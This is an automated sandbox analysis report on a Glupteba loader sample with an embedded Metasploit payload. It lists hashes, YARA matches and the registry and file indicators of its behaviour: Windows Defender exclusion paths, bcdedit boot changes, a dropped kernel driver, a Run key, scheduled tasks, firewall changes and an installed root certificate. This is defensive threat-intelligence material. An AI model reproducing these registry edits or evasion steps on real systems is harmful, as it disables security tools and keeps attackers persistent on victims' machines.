glupteba | 4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072

Analysis

max time kernel
148s
max time network
162s
platform
windows7_x64
resource
win7-20220414-en
submitted
12-07-2022 06:26

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General

Target

4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Size

3.8MB
MD5

865102f865aee65ef616330fc6dbdd53
SHA1

065102e3383ebea037d6d239475360a96d10d215
SHA256

4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072
SHA512

429864e9d8a737f07115188e0c639e3ebb182a906307945b992a8337ae682952795c9cc9dd74a9a2012124bcf440cbafa074ab2a7d35acb834dfd23f4a8a20cc

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 8 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1056-56-0x0000000003C70000-0x0000000004472000-memory.dmp	family_glupteba
behavioral1/memory/1056-57-0x0000000000400000-0x0000000003352000-memory.dmp	family_glupteba
behavioral1/memory/1056-58-0x0000000000400000-0x0000000003352000-memory.dmp	family_glupteba
behavioral1/memory/1400-61-0x0000000000400000-0x0000000003352000-memory.dmp	family_glupteba
behavioral1/memory/1400-64-0x0000000000400000-0x0000000003352000-memory.dmp	family_glupteba
behavioral1/memory/1400-70-0x0000000000400000-0x0000000003352000-memory.dmp	family_glupteba
behavioral1/memory/1548-73-0x0000000000400000-0x0000000003352000-memory.dmp	family_glupteba
behavioral1/memory/1548-74-0x0000000000400000-0x0000000003352000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\PurpleShadow = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe

Modifies boot configuration data using bcdedit 14 IoCs

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	process
2044	bcdedit.exe
1912	bcdedit.exe
1236	bcdedit.exe
1260	bcdedit.exe
2032	bcdedit.exe
928	bcdedit.exe
1696	bcdedit.exe
904	bcdedit.exe
1804	bcdedit.exe
1248	bcdedit.exe
1116	bcdedit.exe
568	bcdedit.exe
864	bcdedit.exe
836	bcdedit.exe

Drops file in Drivers directory 1 IoCs

Processes:

csrss.exe

description ioc process

File created C:\Windows\system32\drivers\Winmon.sys csrss.exe
Executes dropped EXE 3 IoCs

Processes:

csrss.exepatch.exedsefix.exe

pid process

1548 csrss.exe
1984 patch.exe
268 dsefix.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

1540 netsh.exe
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command-Line Interface
T1059

description	ioc	process
File created	C:\Windows\system32\drivers\Winmon.sys	csrss.exe

pid	process
1548	csrss.exe
1984	patch.exe
268	dsefix.exe

pid	process
1540	netsh.exe

Loads dropped DLL 12 IoCs

Processes:

4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exepatch.execsrss.exe

pid	process
1400	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
1400	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
880
1984	patch.exe
1984	patch.exe
1984	patch.exe
1984	patch.exe
1984	patch.exe
1984	patch.exe
1984	patch.exe
1984	patch.exe
1548	csrss.exe

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\PurpleShadow = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Windows\CurrentVersion\Run\PurpleShadow = "\"C:\\Windows\\rss\\csrss.exe\""	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 3 IoCs

Processes:

4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exemakecab.exe

description	ioc	process
File opened for modification	C:\Windows\rss	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
File created	C:\Windows\rss\csrss.exe	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20220712103802.cab	makecab.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1040 schtasks.exe
1792 schtasks.exe

pid	process
1040	schtasks.exe
1792	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exenetsh.execsrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

patch.execsrss.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
